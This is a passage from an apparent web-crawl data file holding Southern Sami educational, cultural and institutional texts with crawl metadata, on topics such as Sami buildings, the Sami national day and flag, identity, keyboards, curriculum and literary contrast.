dåeriedæjjah lea dïhte mij ihkuve aejkien gaajhke gaajhkine sjædta.\nMijjieh maehtebe vuejnedh jaememe goh dïhte minngemes vaejvie. Gosse jaahkoem byjhkesjibie ihkuve jieledem dïhte lea sååjhtoe dïhte lea dan ellies gieriesvoetem maam mijjieh gaavnesjibie gosse eevre oktegh. Dan gaavhtan maehtebe ihkuve aejkien bïjre soptsestidh goh stoerre feeste, gaavnesjimmieh jïh raeffies ektievoete sårkohts jïh gïknjelh namhtah. Ij naaken mijjeste minngemes faamoem utnieh, dan lea Jupmelen. Dan gaavhtan sijjiem gååvnese gaajhkide.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.svenskakyrkan.se\/dah-golme-jaahkoebyjhkesjimmieh","date":"2023-06-01T15:13:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00128.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":1360,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij vaarjeldihkie saemien gåetie?Gaajhkh saemien gåetieh 1917 raejeste jallh båarasåbpoe leah jïjtsistie vaarjeldihkie. Saemien gåetie lea bieline aktede saemien histovrijes jïh kulturelle ektiedimmeste. Dïhte maahta sjïere funksjovnem jïh sjïere bigkemevuekiem utnedh, jïh sjïere sijjiem eatnamisnie tjåadtjodh. Derhviegåetie, buvrie jïh njalle lea gåetiesåarhth sjïere saemien bigkemevuekine. Saemien gåetieh maehtieh gaajhke årrodh, buvrieh jïh skaehtieh, fievsieh jïh laaroeh, årromegåetie, naevstieh jïh vierhkiesijjieh. Skuvlegåetie, krirriegåetie jïh jeatjah ektievoetegåetieh aaj saemien gåetiehistovrijasse govlesuvvieh. Maahta geerve årrodh saemien gåetiem jeatjah gåetijste joekehtehtedh mah eah saemien histovrijem jallh ektiedimmiem utnieh. Dellie voenges daajroe jïh histovrijh gåetien bïjre, voenegærjah jïh almetjeryöknemh vihkeles gaaltijh juktie gaavnehtidh mejtie gåetie lea saemien jallh ij. Vaallah gåetiej aaltere lea seamma aelhkie vihtiestidh. Daesnie dateradimmie viehkine jaepiegievlijste jallh dendrodateradimmieh hijven viehkie orreme, jïh vååjnesasse båateme gellie gåetieh leah båarasåbpoe goh aalkoelisnie aerviedamme. Saemiedigkie lea medtie 900 jïjtsistie vaarjeldihkie saemien gåetieh registreradamme Daesnie maahta registreradimmien bïjre lohkedh vaarjeldihkie saemien gåetijste","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/vaarjelamme-jih-vaarjelimmievyortegs-gaetieh\/mij-vaarjeldihkie-saemien-gaetie\/","date":"2023-09-29T00:07:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510462.75\/warc\/CC-MAIN-20230928230810-20230929020810-00065.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":145,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij sjangere jïh medijume? Dah joekehts? Snap-bïevnese sjangere? Tv-programme sjangere? Ijje, ij gærja gænnah akte sjangere. Men medijume lea dïrrege, maam mijjieh nuhtjebe gosse govlesadtebe. Sjangere lea elliesvoete gusnie dovne medijume, sisvege jïh hammoe leah meatan.\nMedijume\nMedijume lea dïrrege maam mijjieh nuhtjebe gosse edtjebe govlesadtedh. Jis edtjebe musihkem tjoejehtidh dellie tjoejehtahkh daarpesjibie. Men maehtebe tjoejehtahkem aaj nuhtjedh gelline sjangerinie. Vuesiehtimmien gaavhtan maehtebe gitaarem tjoejehtidh gosse edtjebe joekehth laavlomh laavlodh goh maana-laavlomh, pop-laavlomh, rock-laavlomh, jnv. Gosse tjaaleldh jïh njaalmeldh govlesadtemem nuhtjebe, maehtebe aaj joekehth medijumh nuhtjedh.\nAkte gærja maahta romaane jallh biografije årrodh. Men aktene gærjesne maahta gellie gurreme-bïevnesh årrodh. Gosse raadijovem goltelibie dellie maehtebe ovmessie programmh goltelidh goh musihke-programmh, gihtjeme-gaahtjemh, gihtjedimmieh, j.n.v. Jis bloggem tjaelebe dellie maehtebe biejjie-gærjam tjaeledh, men aaj fealadimmie-soptsesh jallh faageles digkiedimmieh.\nMedijume hammoem tsavtsa\nNaan aejkien medijume stuvrie magkerem govlesadtemem gåarede nuhtjedh. Gosse mijjieh raadijovem veeljebe dellie ibie maehtieh guvvieh vuesiehtidh. Jis tv:em veeljebe, dellie ibie maehtieh jïjnjh tjaalegh meatan utnedh.\nLæjhkan jis ibie tjaalegh utnieh, maehtebe saadtegh darjodh dovne raadijovisnie jïh tv:sne. Aajkoe lea seamma, men medijume tsavtsa maam veeljebe meatan utnedh gosse programmem darjobe.\nMaaj-lïerehtimmesne medijume aaj lïerehtimmiem tsavtsa. Dellie geerve learoehkidie jïh lohkehtæjjide laavlodh jïh stååkedidh.\nRïektes baakoem nuhtjedh\nGosse soptsestibie dellie sïejhme mijjieh medijumem jïh sjangere-nommh pleentebe. Vuesiehtimmien gaavhtan akte nyöjtetje 6 jaepien båeries soptsesti, SMS-bïevnesem åådtjeme gusnie dan voelpen nomme jïh årrome-sijjie. Jeehti: Im SMS-bïevnesem tellefovnesne åådtjeme, men SMS-bïevnesem aktene paehpierisnie.\nNyöjtetje lij vaane bïevnesem tellefovnesne åadtjodh, men ij paehperem gusnie maam akt tjaaleme. Dan åvteste tuhtji hijven gosse SMS-bïevnesem utni gïetesne. Biejjieladtje gïele ij leah seammalaakan guktie faage-gïele. Gosse tjaalegigujmie barkebe saemiengïele-faagine, dellie tjoerebe daejredh mij medijume jïh mij sjangere.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:2:19c69125-a123-45f6-bdea-f8d4299bb2e1\/resource:1:159877","date":"2023-09-21T13:23:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506027.39\/warc\/CC-MAIN-20230921105806-20230921135806-00729.warc.gz","language":"sma","language_score":0.9999833107,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999833106994629}","num_words":270,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Telegoahti OS Vaadtasovvemejaepie 2000 Faage Eatnemefaage Båatsoe jïh design Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele ISBN Vi271 Tïjje 00:45:00 Formaate VHS Reakta-aajhtere Telegoahti OS Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Ijje Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Kultuvre Filme Aarhte jïh daajroe Eatnemefaage Viehkiebaakoe Viermie Jaevriegööleme Gööledh Guovdageaidnu Nuehtie Nuehtine gööledh","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/node\/10664","date":"2023-09-25T20:09:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510085.26\/warc\/CC-MAIN-20230925183615-20230925213615-00829.warc.gz","language":"sma","language_score":0.9995855689,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9995855689048767}","num_words":49,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerhtesaemien båaloebuertien hammoeh\nSaemien boktsaavh leah naemhtie mïerhkesjamme orange duekie. Dah båaloeh gusnie saemien bokstaavh, dejtie aaj daej båaloejgujmie jaksh AltGr: diedtieh AltGr + dam saemien bokstaavem jis sïjhth åadtjodh dam bokstaavem, mij lea daelie sjïere båaloem åådtjeme.\nVuesiehtæmman: gosse X, diedtieh AltGr + Č.\nGaajhkh dah jeatjah bokstaavh jïh væhtah leah seamma sijjesne goh daaroen båaloebuertesne.\nVuep! Noerhtesaemien bokstaavem Ŧ maahtah aaj naemhtie åadtjodh AltGr + T.\nNoerhtesaemien, Nöörje (Windows)\nNoerhtesaemien, Nöörje (macOS)\nNoerhtesaemien, Såevmie & Sveerje (Windows)\nNoerhtesaemien, Såevmie & Sveerje (macOS)","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/divvun.no\/sma\/keyboards\/layout-sme.html","date":"2023-09-30T12:29:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510676.40\/warc\/CC-MAIN-20230930113949-20230930143949-00876.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":79,"character_repetition_ratio":0.127,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jïjnje mij datnem hammode; gie datne, guktie datne jïh guktie sïjhth årrodh. Saemien kultuvre jïh siebriedahke dov saemien identiteetem hammoedieh.\nKultuvre lea gellielaaketje\nKultuvre dïhte mij almetji gaskem, goh maahtoeh, daajroeh, vuekieh, tjiehpieh, jaahkoeh jïh åssjaldahkh, mah seammalaaketje siebriedahkesne. Kultuvre lea guktie mijjieh ussjedibie, dåemiedibie jïh guktie sinsitnine gaskesadtebe. Dïhte gellielaaketje jïh boelveste boelvese jåhta, men tïjjen mietie aaj jorkese. Jïjnje saemien kultuvreste lea vååjnesisnie, goh saemien jielemevuekie, vaarjoeh jïh vætnoeh. Saemien kultuvre leah saemien gïele, joejkeme jïh musihke. Kultuvre aaj dïhte mij ij leah våajnoes, goh almetji åssjaldahkh, jaahkoeh jïh sosijaale njoelkedassh. Mah soptsesh, vaajesh jïh dïejvesh datne maana-baelesne govlih aaj kultuvre.\nMijjieh sinsitnine gaskesadtebe, lustestallebe jïh digkiedibie. Lustesvoete, maam almetjh tuhtjieh luste jïh ij, maahta seammalaakan årrodh siebriedahkesne. Dïhte mij almetji åejjiej sisnie ij leah jeatjabidie dan tjïelke goh dam maam almetjh darjoeh jïh jiehtieh. Læjhkan ij leah dan aelhkie guarkedh dejtie gïeh kultuvren ålkoelisnie, eah leah dah dan åehpies dejnie mij almetji gaskemsh dorjesåvva jallh jeahtasåvva. Nimhtie kultuvre lea gellielaaketje goh «sjeavohts gïele», mij aaj kultuvre.\nIdentiteete lea gellielaaketje\nBaakoe identiteete båata latijnen baakoste 'idem' mij saemien-gïelesne «dïhte seamma». Mijjieh maehtebe jiehtegem «identiteete» guektien haaran juekedh, almetjen persovneles identiteete jïh sosijaale identiteete.\nPersovneles identiteete\nGie datne, nïejte jallh baernie, jïh gubpede datne båatah dov persovneles identiteetem hammode. Seamma aaj mehtie fuelhkeste, slïekteste jïh åålmegistie datne leah. Man båeries datne, gusnie jïh guktie datne byjjenamme, mestie datne jïh dov fuelhkie jielieminie jïh mejnie gïehteleminie, aaj dov identiteetem nænnoste. Gïese datne gearoeh, nïejtese jallh baarnan, dov persovneles identiteetem hammode. Dov identiteete aaj maam datne maahtah jïh daajrah jïh guktie datne ussjedh. Lissine maam datne lyjhkh jïh maam lyjhkh darjodh, gïeh dov voelph jïh mah dov ïedtjh. Mah vaarjoeh datne provhkh jïh guktie sïjhth vååjnedh. Mah gïelh jïh smaaregh datne soptsesth jïh guktie dåemedh, gåetesne jïh voelpigujmie. Mah dov mïelh jïh aarvoeh. Gaajhke daate, jïh jïjnje vielie, hammode gie datne jïh gïem sïjhth årrodh.\nBaakoeh\nSaemien\nDaaroen\ngellielaaketje\nmangfoldig","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:75fd2d92-9eb6-47f5-b318-633b87b8cbde","date":"2023-09-22T07:59:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00729.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":319,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goevten 6. b. lea byögkeles saevegebiejjie Nöörjesne. Gellie heannadimmieh jïh symbovlh leah vïedteldihkie beajjan. Saemiedigkieraerie biejjiem aavode sov baeline abpe laantesne. Vuartesjh vöölemes sæjrosne gusnie nuhteligs svaalhtesh bïevnesidie åålmegebiejjien bïjre.\nBiejjiem mojhtesinie aavoedibie dan voestes saemien rïjhketjåanghkoen bïjre mij lij Metodistegærhkosne Tråantesne 1917. Daate lij voestes aejkien saemieh lin tjåanghkenamme juktie ektie saemien aamhtesi åvteste barkedh nasjonaalestaati raasti rastah. Voestes aejkien biejjiem aavoedi lij 1993.\nNuhteligs vierhtieh maanagïertide, skuvlide jïh jeatjabidie\nBaakoegærjetje\nGïelekampanjen sjïekenisnie «Saemesth munnjien» lea låammegærjetjem bæjhkoehtamme aarkebiejjien baakoejgujmie jïh jiehtegigujmie dovne noerhtesaemien, julevsaemien jïh åarjelsaemien gïelesne.\nVeedtjh Sátnegirjjáš - báhkogirjásj - baakoegærjetje – saemien låammegærjetje! (PDF, 743 kB)\nApplikasjovne\nSaemiedigkie applikasjovnem 10\/20 bágo dorjeme mij gaajhkide laanten maanagïertide jïh maadthskuvlide sjeahta. Ulmie lea gaajhkh maanah laanten maadthskuvline jïh maanagïertine edtjieh såemies baakoeh saemiengïelesne lïeredh. Applikasjovne lea åarjelsaemien, julevsaemien jïh noerhtesaemien gïelesne, jïh desnie dovne guvvieh jïh tjoejefijlh.\nSaemiedigkie aaj låammegærjetje-appliksjovnem dorjeme man nomme Saemesth! Daate gærjetje hijven bööredimmine sjeahta saemiestidh voestes gaavnedimmesne, aarkebiejjien jïh hïejesne.\nSaemien saevege\nVihkeles symbovle aavoedimmesne goevten 6.biejjeste lea saevege. Saemien saevege lea ektie gaajhkide saemide, saaht mennie laantesne dah årroeh. Noerhtelaanti saemiekonferanse Ååresne, Sveerjesne saevegem jååhkesji mïetsken 15.b. 1986, jïh saemien tjiehpiedæjja Astrid Båhl, Skibotnistie Romsesne lea saevegem hammoedamme.\nÅejviemotijve lea veedtjesovveme gievreste jïh dikteste Biejjien baernieh maam åarjelsaemie Anders Fjellner tjeeli. Daennie diktesne Fjellner saemide buerkeste goh biejjien baernieh. Saevegen gievlie edtja biejjiem jïh askem vuesiehtidh. Duekie (rööpses, plaave, kruana jïh viskes) lea ajve doh saemien klaerieh (mah leah doh sïejhmemes klaerieh saemien gaptine). Ovmessie mïelh klaeriej symbovli bïjre, jïh dan åvteste ij leah dejtie veelebelaakan tjïelkestamme.\nSaemien saevege jååhkesjimmiem Nöörjesne åadtjoeji 2003, jarkelimmiej tjirrh Saemielaakesne jïh Laake saevegebijjiedimmien bïjre tjïelti byögkeles gåetine. Stoerredigkie seamma tïjjen faamoem vedti Saemiedægkan mieriedimmieh åtnoen bïjre saeviegistie nænnoestidh. Saemiedigkie mieriedimmide nænnoesti suehpeden 27.b. 2004. Saevegen lea byögkeles statuse, men ij leah nasjonaalesaevege mij almetjerïekteles jïh staaterïekteles gånkarïjhkem Nöörje representerede.\nMieriedimmie åtnoen bïjre saemien saeviegistie\nSaevegen klaerieh jïh dimensjovnh\nSe NRK-video: Hva betyr det samiske flagget?\nLaake saevegebijjiedimmien bïjre tjïelti byögkeles gåetine\nSaemien åålmegelaavlome jïh Saemien åålmegejoejke\nNoerhtelaanti saemiekonferanse Ååresne Sveerjesne nænnoesti laavlomem Sámi soga lávlla jallh Saemie eatnemen vuelie saemiej åålmegelaavloeminie veeljedh. Mearoesaemie Isak Saba Unjárgeste (1875-1921), mij lohkehtæjjine jïh gærhkoelaavloejinie barki, laavlomem tjeeli 1906. Isak Saba lij voestes saemie mij Stoerredægkan veeljesovvi. Arne Sørli lea melodijem dorjeme.\nSaemiej 22. konferanse Váhtjerisnie \/Jiellevárrisne nænnoesti joejke Sámi eatnan duoddariid\/ Saemien eatnemen guevtelh edtja saemien åålmegejoejkine årrodh, åålmegelaavlomen baalte Saemien eatnemen vuelie. Tjaelije, artiste jïh tjiehpiedæjja Nils-Aslak \"Áillohaš\" Valkeapää joejken teekstem tjeeli 1970-låhkoen.\nSaemien parlamentarihkeles raerie jïh Saemieraerien ektie moenehtse saemien nasjonaalesymbovlide leah teekstem saemien åålmegelaavloemasse Saemie eatnemen vuelie jïh saemien nasjonaalejoejkese akten tjaatsegasse tjöönghkeme.\nVeedtjh Saemien laavlomen teekstem jïh joejkem Saemien eatnemen guevtelh gelline gïeline (PDF, 990 kB)\nGoltelh Saemiej laavlomem Youtubesne\nGoltelh Saemien eatnemen guevtelh Youtubesne\nÅtnoe baakoetjïerteste «nasjonaldag»\nGosse saemiekonferanse 1992 goevten 6.biejjiem saemien åålmegebiejjine nænnoesti, dellie nænnoestimmie lij noerhtesaemiengielesne jïh baakoetjïerte «sámi álbmotbeaivi» åtnasovvi. Gosse dam daaroengielese jarkoste dellie dïhte sjædta samisk\/samenes nasjonaldag. Såemies nöörjen jarkoestimmine «samefolkets dag» tjåådtjeme dan åvteste sámi lea samisk, álbmot lea folk jïh beaivi lea dag. Dennie sveerjen jarkoestimmesne saemiekonferanseste baakoetjïerte «samernas nationaldag» åtnasovvi.\nNöörjen baakoetjïerth «samefolkets dag» jïh «samisk folkedag» leah tseegkesovveme ovveele jarkoestimmiej gaavhtan jïh såemiesmearan goh illedahke baakoetjïerteste «nasjonaldag» man bïjre jeenjesh eah leah sïemes. Saemiekonferanse gujht våaroemasse bïeji saemieh leah akte åålmege (nasjovne) jïh åtnoe baakoetjïerteste nasjovne ij aktem jïjtse staatem krïevh. Dovne saemiekonferanse (mænngan Saemieraerie) jïh noerhtelaanti saemiedigkieh baakoetjïertem «åålmegebiejjie» nuhtjieh.\nLohkh vielie maam Store norske leksikon tjaala mij åålmegebiejjie lea\nLohkh vielie maam Store norske leksikon tjaala mij nasjovne lea\nLohkh vielie maam Store norske leksikon tjaala mij staate lea\nMïnnh Saemieraerien nedtesæjrosne\nEktieårgaane reeremasse jïh evtiedæmman saemien nasjonaale symbovlijste\nSaemien parlamentarihkeles raerie jïh Saemieraerie leah ektie årgaanem tseegkeme mij saemien nasjonaale symbovlh reerie jïh evtede. Ektieårgaanen mandaate lea njoelkedassh raeriestidh reeremen bïjre saemien nasjonaale symbovlijste, jïh vuarjasjidh mejtie saemien nasjonaale symbovlide dagkerh njoelkedassh edtjieh faamosne årrodh.\nLohkh vielie: Ektieårgaane reeremasse jïh evtiedæmman saemien nasjonaale symbovlijste\nByögkeles saemien saevegebiejjieh\nDoh byögkeles saemien saevegebiejjieh mejtie Saemiekonferanse Helsinkisne nænnoesti 1992, Saemiekonferanse Murmanskesne nænnoesti 1996 jïh Saemiekonferanse Tråantesne nænnoesti 2017 leah:\n- Goevten 6. b. –Saemien åålmegebiejjie goh mojhtese dan voestes rïjhketjåanghkoen bïjre Tråantesne 1917\n- Njoktjen 2. b. – Såevmien Saemiedigkie tseegkesovvi 1996 jïh saemiedelegasjovnen sijjeste bööti mij tseegkesovvi 1973.\n- Njoktjen 25. b. – Maarjanbiejjie, aerpievuekien saemien bissiebiejjie\n- Ruffien 24. b. – Jovnesåhkoeh-biejjie\n- Mïetsken 9. b. – EN:n gaskenasjonaale aalkoeåålmegebiejjie\n- Mïetsken 15. b. – Saemien saevege nænnoestamme sjïdti daan biejjien 1986\n- Mïetsken 18. b. – Saemieraerie tseegkesovvi daan biejjien 1956\n- Mïetsken 26. b. – Rïhpestimmie Sveerjen Saemiedigkeste daan biejjien 1993\n- Golken 9. b. – Rïhpestimmie Nöörjen Saemiedigkeste daan biejjien 1989\n- Gålkoen 9. b. – Delegasjovne saemien aamhtesidie tseegkesovvi Såevmesne 1973\n- Gålkoen 15. b. – Isak Saban reakedsbiejjie 1875. Dïhte saemiej åålmegelaavlomen teekstem tjeeli\n- Gålkoen 29. b. – Elsa Laula Renbergen reakedsbiejjie 1877\nVielie bïevnesh","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/om-sametinget\/nasjonaldag-og-nasjonale-symboler\/?sprak=14","date":"2023-09-22T15:52:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506420.84\/warc\/CC-MAIN-20230922134342-20230922164342-00528.warc.gz","language":"sma","language_score":0.9998764992,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998764991760254}","num_words":736,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie lea laavenjostoem tseegkeme nasjonaale råajvarimmesne Guejmievoete irhkemen vööste 2022-2025. Goh guejmievoete mijjieh jïjtjemem åeliedibie barkoem gaajhki såarhts irhkemen vööste biejjieöörnegasse bïejedh jïh viehkiehtidh guktie maanah jïh noerh meatan vaaltasuvvieh ellies barkoen sïjse akten feerhmeles byjjenimmie- jïh lïerehtimmiebyjresen åvteste.\nGuejmieh guejmievoetesne leah; Reerenasse, Saemiedigkie, Ööhpehtimmiesiebrie, Maadthlïerehtimmien eejhtegemoenehtse, Maanagïerti eejhtegemoenehtse, Faagesiebrie, KS, Skuvli laantesiebrie, Skuvleåvtehkesiebrie, Learohkesiebrie, Nöörjen lektovretjïerte, Privaate Maanagïerti Laantesiebrie, Frijjeskuvli Gaskeseforume, Jïjtjevyljehkevoete Nöörje, Healsoesåjhteri laantedåehkie.\nGuejmievoete edtja guhkiem laavenjostedh akten vihties laavenjostoen tjïrrh jïh gusnie edtja laavenjostoem tjïelke darjodh dovne ektie råajvarimmiej tjïrrh jïh råajvarimmiej tjïrrh dejnie ovmessie siebrine mej åvteste guejmieh leah.\nGuejmieh daamtaj rååresjedtieh juktie evalueradidh, bueriedidh jïh laavenjostoem guhkiebasse evtiedidh.\nSaemiedigkie meatan orreme daennie barkosne 2013 raejeste.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/lierehtimmie\/skuvlebyjrese-jih-skuvleevtiedimmie\/guejmievoete-irhkemen-vooste\/","date":"2023-09-29T01:23:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510462.75\/warc\/CC-MAIN-20230928230810-20230929020810-00561.warc.gz","language":"sma","language_score":0.9999878407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999878406524658}","num_words":109,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Doh matematihkeles daajroesuerkieh leah taali jïh taalegoerkesen, algebraen, funksjovni, geometrijen, statistihken jïh saetniesvoetenuepien bïjre. Learohkh tjuerieh varke hijven baakoetjïerth taali bïjre åadtjodh, jïh åadtjodh jeereldihkie ryöknemestrategijh evtiedidh. Algebra lea struktuvrh, möönsterh jïh relasjovnh goerehtidh, jïh lea vihkeles eaktoe ihke learohkh edtjieh maehtedh generaliseeredh jïh modelleeredh matematihkesne. Funksjovnh learoehkidie vihkeles dïrregem vedtieh juktie jarkelimmiem jïh evtiedimmiem goerehtidh jïh modelleeredh. Geometrije lea vihkeles ihke learohkh edtjieh hijven rommegoerkesem evtiedidh. Daajroe statistihken jïh saetniesvoetenuepien bïjre hijven våaromem learoehkidie vadta gosse edtjieh veeljemh darjodh jïjtsh jieliedisnie, seabradahkesne jïh barkoejieliedisnie. Daajroesuerkie våaromem vadta maam learohkh daarpesjieh juktie matematihkeles goerkesem evtiedidh gosse ektiedimmieh goerehtieh matematihkeles daajroesuerkiej sisnjeli jïh gaskem.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/mat01-05\/om-faget\/kjerneelementer?lang=sma","date":"2023-09-23T22:22:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506528.3\/warc\/CC-MAIN-20230923194908-20230923224908-00861.warc.gz","language":"sma","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000091791152954}","num_words":103,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh maehtebe aaj kontrastem nuhtjedh gosse guvviedibie jïh vaarjoeh gåarobe, men aaj musihkine jïh arkitektuvrine. Klaerieh mah jåårke sinsitnide tjåadtjoeh klaerie-gievlesne, leah kontraste-klaerieh.\nKontrastem nuhtjedh\nGosse mijjieh tjaelebe maehtebe kontrastem nuhtjedh. Dellie baakoeh nuhtjebe mah kontrastem vuesiehtieh guktie:\n- jïjje – biejjie\n- baahke – galme\n- noere – båeries\n- soejmi – varki\nPaulus Utsi aaj kontrasth nuhtjeme gosse diktem Mijjen jielemh tjeeli.\nMijjen jielemh\nLeah goh laategh\nVeelkes guevtielisnie\nMah gåaltosne dåalmeduvvieh joe\nGååkseden [1]\nKontrasth heamturinie\nHeamture Goh dïhte ræjhkoes giefies sjïdti jïh dïhte giefies ræjhkoes kontrastem vuesehte giefies jïh ræjhkoes almetji gaskemsh. Teekstesne maehtebe lohkedh guktie dïhte ræjhkoes åajaldehti jïelegem vaaksjodh, ajve garmerdi jïh dåemiedi goh staaloe. Jïh dïhte giefie, dan giefie, ajve aktem staajnem utni. Gosse gööli idtji guelieh åadtjoeh, jïh gosse lidti idtji maam akt lidth. Jupmele vuartasji guktie dah guaktah dåemiedigan. Jïh dellie galmadahkem, sueviem jïh tsieviem ræjhkoes kaarren gåatome-dajven bijjelen gaptji jïh aaj elmiem seedti. Sïejpe bööti jïh daelvie-gåatome nåake sjïdti. Jïh gosse gïjre bööti dellie kaarren krievvie joe nåhkeme. Men Jupmele dam giefies kaarrem viehkiehti. Jupmele soptsesti maam giefies kaarre edtji darjodh juktie buerebe jielemem åadtjodh. Dïhte giefies kaarre darjoeji guktie jupmele jeehti jïh ræjhkoes sjïdti. Daate teekste aaj kontrastem vuesehte dåemiedimmiej gaskem. Dïhte ræjhkoes lij aeblehts jïh garmere mearan dïhte giefie lij vïssjele.\nKontraste-baakoeh\nDaaroen-gïelesne gåarede göökte kontraste-baakoeh ektiebïejeme-baakojne utnedh, guktie baakoe dritpen.\nMejtie mijjieh daam vuekiem åarjel-saemien gïelesne aaj utnebe? Jis baakoem gaajh nuhtjebe, dellie maehtebe jiehtedh gaajh vesties, mij daaroen-gïelesne lea forferdelig stygg. Jis dellie jiehtebe: Nïejte gaajh tjaebpie. Jïh gosse dellie raajesem daaroen-gielese jarkoestibie dellie sjædta: Jenta er forferdelig pen.\nJeatjah kontrasth\nPersovnh, dahkoeh, byjresh jïh aajmoeh maehtieh kontrasth vuesiehtidh aktene teekstesne. Harald Gaski gærjam Med ord skal tyvene fordrives tjaaleme. Gaski tjaala vuelie\/dikte Soelege jïh nåejtie aktem kultuvre-plåavhkasimmiem vuesehte Saepmesne. Vuelesne\/diktesne dovne soelege jïh nåejtie soptsestieh. Tekste kontrastem vuesehte dej göökte kultuvri gaskem.\nSoelege jïh nåejtie\nTjaelije: Jakob Fellmann\nSoelege\nJupmele, mov jupmele, manne daesnie vaadtsehtjem\neatnamen sjadtojste vyöseme\njïh kraesieh muerjieh tjöönghkeme\nmoerh jïh gierkieh nuhtjeme\nim leah årroeh-almetji eekem doehteme\neatnemem sjadtoem vaalteme\nAlmetje bööti\nmannem soeleginie gåhtjoeji\nNåejtie\nIh datne laanten vuekieh damth\nih gænnah daejrieh manne leam\nvuartesjh mij sjædta jïh geehtedh\nVæhtah moerine dutnjien vaestiedassh vedtieh\ndovne kraesiem jeatjh laakan gïehtjedidh 